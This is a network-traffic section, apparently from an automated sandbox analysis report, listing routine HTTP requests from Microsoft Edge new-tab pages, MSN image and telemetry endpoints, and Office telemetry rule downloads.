Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1t99ka.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1731683788796&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=078A6178E4B266BF224E7440E5C7676D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1E9e8d515a1831b070feb5a1731683790; XID=1E9e8d515a1831b070feb5a1731683790
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOZ9.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msG0W.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msFQA.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=078A6178E4B266BF224E7440E5C7676D&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=83299574464d407be4581e354544e4e3 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=078A6178E4B266BF224E7440E5C7676D; _EDGE_S=F=1&SID=003CD0784E846A291319C5404F576B6A; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731683788795&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=3401cc7bbd34493991b5e892ac0c3af8&activityId=3401cc7bbd34493991b5e892ac0c3af8&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=B04EC9CD06994D6898AC696A988E9A60&MUID=078A6178E4B266BF224E7440E5C7676D HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=078A6178E4B266BF224E7440E5C7676D; _EDGE_S=F=1&SID=003CD0784E846A291319C5404F576B6A; _EDGE_V=1; SM=T; _C_ETH=1
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
